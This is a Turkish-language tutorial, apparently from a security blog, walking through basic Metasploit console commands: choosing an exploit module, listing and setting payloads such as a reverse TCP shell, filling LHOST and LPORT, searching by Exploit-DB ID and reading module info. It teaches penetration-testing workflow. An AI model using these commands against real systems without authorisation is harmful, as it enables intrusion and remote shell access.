Metasploit’te her zaman kullanılacak komutlar vardır. Bu komutlar exploit seçme, parametre girme gibi bir çok işlemde kullanılacak ve her zaman karşımıza çıkacaktır. Parametreler modüllere göre değişkenlik göstermektedir.
Exploit Seçme
Ana metasploit penceresinde herhangi bir exploit veya modülü seçerken “use” komutu kullanılır.
Örnek kullanım: use exploit/unix/http/xdebug_enauth_exec
Görüldüğü gibi modül seçildiğinde “exploit(unix/http/xdebug_unauth_exec)” seçilen araç bu şekilde görünür. Öncelikle bu ne tür bir modül olduğu ve hemen yanında kırmızı ile gösterilen yerde o modüle ait seçilen araç gözükmektedir.
Payload Seçme Ve Exploit İçin Uygun Payload’ların Listelenmesi
Payload, exploit sonrasında çalışan sistemde ilerlemeyi sağlayan ve istenilen işlemleri gerçekleştirmek için kullanılan modüllerdir.
Payload seçimi genel olarak bir exploit seçildiğinde exploit’e uygun bir payload seçilmesidir. Yani Windows bir sisteme saldırı işlemi gerçekleştirilmek istendiğinde o sisteme uygun bir exploit seçilmelidir ve exploit sonrasında devreye girecek payload seçilmelidir. Windows, Linux, Android gibi işletim sistemlerinin payload’ları farklıdır. Payload’lar sisteme göre değiştiği gibi exploit’lerde de değişkenlik göstermektedir.
Payload’lar exploit’ler ile kullanılabilir ve genelde “Remote” exploit’ler de kullanılır. “Show payloads” komutu ile seçilen exploit ile kullanılabilecek tüm payload’lar listelenir.
Yukarıdaki resim de görüldüğü gibi “set PAYLOAD generic/shell_reverse_tcp” komutu ile payload’ımızı seçtik. Sistem exploit edildiğinde “generic/shell_reverse_tcp”, payload’ı devreye girecektir.
Parametreleri Tanıma
Bir sistemde exploit’i çalıştırmak için elbette önceden hedef sistem ve hedef sisteme ait bazı bilgiler exploit’e girilmelidir. Bu parametreleri görmek için “show options” komutu kullanılmaktadır.
Üst kısımda modül, alt kısımda ise payload’ın parametreleri görülmektedir:
- Name: Parametrenin ismidir.
- Current Setting: Parametreye ait girilen değer.
- Required: Girilmesinin zorunlu olup olmadığını belirten yer. “No” ise gerekli değil, “Yes” ise girilmesi zorunludur.
- Description: Parametreye ait açıklamadır.
Bu bilgilere dayanarak parametreler girilmelidir.
Bizden “LHOST” ve “LPORT” parametreleri isteniyor. “set LHOST (Linux terminalinize ifconfig yazıp local ip adresinizi öğrenebilirsiniz.) set LHOST 192.168.199.128”, “set LPORT(default olarak 4444 kullanılır lakin siz boşta olduğunu bildiğiniz özel bir port numarası atayabilirsiniz.) set LPORT 4444” şeklinde parametrelerimizi girdik.
- LHOST: LocalHost’un kısaltılmasıdır ve bize ait local ip adresinin girilmesi istenir. Bağlantı bize geri geleceği için bizim local ip adresimiz yazılmalıdır ki bu çoğunlukla payload’larda bizim local ip’miz istenir.
- RHOST: RemoteHost’un kısaltılmasıdır.
- LPORT: LocalPort’un kısaltılmasıdır genellikle default olarak 4444 kullanılmaktadır.
Exploit target: Bu kısımda hedefin uyumlu olduğu sistemler gösterilmektedir.
show targets komutu ile sistemleri görüntüleyebilirsiniz. Eğer hedef sistem biliniyorsa girilebilir lakin default olarak otomatik seçenektir. Böyle olması daha iyi sonuç verir. Eğer farklı bir seçenek istenirse “set target ID” şeklinde girilebilir. “ID” sistemlerin başında yazan numaralardır.
Exploit’in Uygulanması
Gerekli parametreler doldurulduktan sonra exploit etme aşaması gelir. Bunu yapmak için “exploit” komutu kullanılarak işlem gerçekleştirilmiş olur.
Exploit Arama
Exploit arama işlemi önemli kısımlardan biridir. Örneğin, bir exploit database sitesinde açık gördünüz. Bu açığın exploit’ini metasploit’te arayabilirsiniz.
search -h komutu ile arama seçeneklerine bakabilirsiniz. Burada ne tür tarama yapabileceğimiz gözükmektedir.
- app: Modülün istemci ya da sunucu taraflı mı çalıştığı belirtilir.
- author: Modülü bulan kişiye göre arama yapılır.
- bid: Bugtraq ID numarasına göre arama yapar.
- cve: CVE ID numarasına göre arama yapar.
- edb: Exploit-DB ID numarasına göre arama yapar.
- name: Modülün ismine göre arama yapar.
- osvdb: OSVDB ID numarasına göre arama yapar.
- platform: Platforma uygun modül taraması yapmaktadır. (PHP, ASP vb.)
- ref: Referansa göre arama yapmaktadır.
- type: Modül tipine göre arama yapmaktadır. (exploit, auxiliary veya post)
Örnek olarak bir “exploit-db” sitesinde görülen bir açığın exploit’ini metasploit’te tarayalım.
Üst taraftaki kutucukta “EDB-ID:5” numarası yazar. Bu “exploit-db/id” numarasıdır. Arama seçeneklerinde bu mevcuttur. Şimdi örnek taramayı gerçekleştirelim.
Görüldüğü gibi örnek tarama “search edb:5” şeklinde gerçekleştirildi ve sonuç çıktı. Bu şekilde exploit aramasını minimum zamana sığdırabilirsiniz ve daha sağlıklı sonuçlar elde edebilirsiniz.
Araçlar Hakkında Bilgi Edinme
Bir modül içerisinde “info” komutu girildiğinde o exploit veya diğer modüller hakkında detaylı bilgi verir.
Şekilde modül hakkında daha detaylı bilgiler görülüyor. Asıl önemli noktalar “Description” ve “References” kısımları diyebiliriz. “Description” kısmında açık ve exploit hakkında detaylı açıklama, “References” kısmında ise exploit’in tamamı ve açığın risk seviyesi, fix‘lenmesi ve daha bir çok cevabın bulunduğu bağlantılar verilir.
Bu makalemizi beğendiyseniz sizleri Sosyal Mühendislik Örneği adlı makalemize bekleriz: https://www.ozztech.net/siber-guvenlik/sosyal-muhendislik-ornegi/
Ayrıca linux işletim sistemi ve araçları , metasploit hakkında detaylı videolarımızın bulunduğu youtube kanalımızda da sizleri bekleriz: https://www.youtube.com/channel/UCHamQAQ_Vvku0wRkueRwiWw/videos